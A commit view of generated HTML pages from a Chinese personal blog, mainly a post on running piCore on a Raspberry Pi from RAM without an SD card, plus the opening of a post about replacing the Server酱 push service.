for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/01/04/summary.html">
上一篇:年终总结
</a>
</span>
<br />
<span class="next">
<a href="/2021/01/17/picore.html">
下一篇piCore的使用经历
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/01/06/proxy', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/01/06/proxy.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

328
2021/01/17/picore.html Normal file
View File

@@ -0,0 +1,328 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>piCore的使用经历 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="piCore的使用经历" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="不流行的发行版也很好用啊" />
<meta property="og:description" content="不流行的发行版也很好用啊" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-01-17T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="piCore的使用经历" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-01-17T00:00:00+08:00","datePublished":"2021-01-17T00:00:00+08:00","description":"不流行的发行版也很好用啊","headline":"piCore的使用经历","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/01/17/picore.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/01/17/picore.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/01/17/picore.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-01-17T00:00:00+08:00">17 January 2021</time> - 字数统计1744 - 阅读大约需要6分钟 - Hits: <span id="/2021/01/17/picore.html" class="visitors">Loading...</span></small>
<h1 class="p-name">piCore的使用经历</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Sun, 17 Jan 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章作者讲述了在树莓派上使用piCore的经历。piCore的优点在于它在内存中运行使得无SD卡工作成为可能并通过穿透功能实现远程访问。然而作者遇到的问题包括依赖的软件安装、SD卡拔除后的软件使用问题以及权限限制。尽管软件库不如Ubuntu丰富但piCore支持直接运行二进制文件作者举例了Cloudreve、SakuraFrp和甜糖等软件的安装过程。作者认为piCore是一个便于使用但文档欠缺的系统适合树莓派且提供了便捷的更新功能。</p>
<hr />
<ul><li><a href="#开端">开端</a></li><li><a href="#使用经历">使用经历</a><ul><li><a href="#无卡安装软件的经历">无卡安装软件的经历</a></li><li><a href="#运行其他软件的经历">运行其他软件的经历</a></li></ul></li><li><a href="#总结">总结</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>不流行的发行版也很好用啊<!--more--></p>
<h1 id="开端">
<a href="#开端"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 开端
</h1>
<p><a href="/2020/12/07/picore.html">上个月我试着在树莓派上使用piCore</a>,本来是想解决打印机的问题,不过因为没有打印机驱动所以也就无所谓了,还是用电脑好一些。 </p><p>
学校也有一个树莓派但是没有SD卡不过没关系piCore就是在这个时候起作用的我在学校的时候找了一张我自己的SD卡插在了那个树莓派上使用piCore启动后就可以把SD卡拔掉了。正因为它的系统在内存中运行所以没有SD卡也能正常工作。 </p><p>
之后我在上面开了一个穿透,这样我在家也可以玩在学校的树莓派了。</p>
<h1 id="使用经历">
<a href="#使用经历"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 使用经历
</h1>
<h2 id="无卡安装软件的经历">
<a href="#无卡安装软件的经历"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 无卡安装软件的经历
</h2>
<p>虽然piCore的系统运行在内存中但是默认情况下它的软件全部安装在SD卡中把SD卡拔掉后发生的第一个问题就是软件没有办法正常使用了。原来安装的软件不能启动然后想安装新的软件也没办法安装……这样就不太好了像连接Wifi的软件也在SD卡中虽然有些守护进程运行后程序会载入内存不会因为没有SD卡出问题但是如果我想连接新的Wifi就没办法使用了……这要我怎么办呢后来我研究了一下piCore安装软件的代码那些软件管理器全部都是用的Shell写的对于从小就在使用Shell的我基本上都能看懂。后来我发现安装的软件其实都不是读取SD卡挂载的目录而是<code class="language-plaintext highlighter-rouge">/etc/sysconfig/tcedir</code>目录然后这个目录又有一个软链接指向SD卡的挂载目录。这样就很好搞了啊把原来的软链接删掉新建一个<code class="language-plaintext highlighter-rouge">tcedir</code>的目录就好了。当然不止如此,在这个文件夹里还要创建一个<code class="language-plaintext highlighter-rouge">optional</code>目录,这样软件包才能下载到正确的位置。 </p><p>
这些操作完成后就好了吗并没有现在安装新的软件已经没有问题了但是安装以前安装过的软件会出现问题。在piCore中安装过的软件会在<code class="language-plaintext highlighter-rouge">/usr/local/tce.installed</code>这个文件夹下创建一个文件软件管理器会读取这个文件夹下的内容判断程序是否安装。但是SD卡拔掉后这个文件不会消失所以我还得要手动把这里面的文件删掉这样安装旧软件就不会出现问题了。 </p><p>
对了还有一点是权限问题由于不知道什么原因软件管理器要求不能在root权限下安装软件这样的话在创建<code class="language-plaintext highlighter-rouge">/etc/sysconfig/tcedir/optional</code>这个路径的时候就需要注意不能以root权限创建不然软件有可能会安装失败。 </p><p>
虽然说piCore或者说TinyCore并不是一个流行的发行版不过软件还是有不少的。虽然不像Ubuntu那样可以用<code class="language-plaintext highlighter-rouge">apt</code>那样有非常多的软件可以用不过正常使用的话软件基本上也够用了虽然说也可以安装图形界面不过因为我用的树莓派3B的内存太小了只有1G所以也不敢安而且我有Windows的远程桌面也没必要折腾树莓派搞图形界面。</p>
<h2 id="运行其他软件的经历">
<a href="#运行其他软件的经历"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 运行其他软件的经历
</h2>
<p>作为Linux发行版软件和生态固然很重要但是使用软件的方式也不只是用通过安装软件包的方式。软件的本质还是二进制文件所以说有些piCore仓库里没有的软件我们也可以直接运行二进制文件。 </p><p>
举一个例子的话……比如说Cloudreve一个用Golang写的网盘系统就能很简单的在上面运行。在Release中找到arm64的程序下载到树莓派上然后直接解压运行就OK了非常的轻松像那些已经编译好的软件很轻松就能拿来直接用。 </p><p>
再比如说就是穿透我用的是SakuraFrp同样那是一个单独的已经编译好的程序直接下载arm64的程序然后再运行就可以了。 </p><p>
还有比如想通过当CDN赚钱比如说甜糖同样下载对应的编译好的程序就OK了当然即使这个软件能运行这个计划还要求有32GiB以上的存储空间那还得另外插个U盘啥的那就是那么一回事了……</p>
<h1 id="总结">
<a href="#总结"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 总结
</h1>
<p>由于piCore可以在内存中运行的特性而且还有不错的软件管理器我觉得它确实是一个在树莓派上相当不错的系统而且相对来说也很简单也许用buildroot也可以整一个类似的系统但是有piCore就方便很多也不用编译啥的安装软件也很方便另外更新一样也很方便<code class="language-plaintext highlighter-rouge">tce-update</code>就能更新,卸载的话后来我发现是用<code class="language-plaintext highlighter-rouge">tce-audit remove</code>……总的来说系统确实很不错,就是文档真的很垃圾,写的很不清楚,好多功能还得自己研究,然后网上也没有可以参考的……除此之外,设计的确实很不错。</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=%E6%A0%91%E8%8E%93%E6%B4%BE"><em>树莓派</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=piCore"><em>piCore</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-01-17-picore.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/01/17/picore.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/01/06/proxy.html">
上一篇如何用PHP制作一个简单的反向代理
</a>
</span>
<br />
<span class="next">
<a href="/2021/02/02/serverchan.html">
下一篇自己动手做一个Server酱·TurboMini版
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/01/17/picore', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/01/17/picore.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

339
2021/02/02/serverchan.html Normal file
View File

@@ -0,0 +1,339 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>自己动手做一个Server酱·TurboMini版 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="自己动手做一个Server酱·TurboMini版" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="一句话就能解决的问题也敢收费?" />
<meta property="og:description" content="一句话就能解决的问题也敢收费?" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-02-02T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="自己动手做一个Server酱·TurboMini版" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-02-02T00:00:00+08:00","datePublished":"2021-02-02T00:00:00+08:00","description":"一句话就能解决的问题也敢收费?","headline":"自己动手做一个Server酱·TurboMini版","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/02/02/serverchan.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/02/02/serverchan.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/02/02/serverchan.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-02-02T00:00:00+08:00">2 February 2021</time> - 字数统计2047 - 阅读大约需要6分钟 - Hits: <span id="/2021/02/02/serverchan.html" class="visitors">Loading...</span></small>
<h1 class="p-name">自己动手做一个Server酱·TurboMini版</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Tue, 02 Feb 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章讨论了作者对于Server酱·Turbo版收费的不满原本习惯使用Server酱的作者因其服务不稳定而转向自己开发发现通过微信API发送模板消息非常简单一行PHP代码就能实现并强调自己的实现比Server酱的限制更好每天发送量理论上可达2000次到100000次。作者在文章中提供了设置参数的步骤并讽刺了Server酱的收费行为认为开发者不应该为此类基础功能付费。</p>
<hr />
<ul><li><a href="#起因">起因</a></li><li><a href="#试着做一下">试着做一下</a></li><li><a href="#如何得到参数">如何得到参数?</a></li><li><a href="#结语">结语</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>一句话就能解决的问题也敢收费?<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>我以前经常使用Server酱给我推送日报或者告诉我树莓派有没有正常启动之类的事情。之所以使用它是因为那个API还是挺方便的而且我平时微信也用的多能直接通过微信推送信息也挺不错的。 </p><p>
后来Server酱整了个什么Turbo版不过我用普通版用的挺好就没怎么管。结果今天发了个什么通知说他们的服务有可能要挂我这个人最讨厌的就是服务不稳定连个服务都整不稳定的人干脆别做服务了做出来那不是害人嘛像之前那个什么LeanCloud就不行因此我还<a href="/2019/06/22/counter.html">自己写了一个博客计数器</a></p><p>
然后我就看了看他们的Server酱·Turbo版好家伙还是收费的8CNY/mo有点过分啊也不过是调用微信接口还要花钱看了之后我说不行这个太贵了我倒要看看这东西到底要花多少资源。 </p><p>
之前我就看他们吹说自己月请求数5kw我说这有啥我花火学园每个月请求数要上亿也花不了几个钱5kw就敢出来吹还敢开课所以今天我就来看看这所谓的“配置略显复杂”到底有多复杂。</p>
<h1 id="试着做一下">
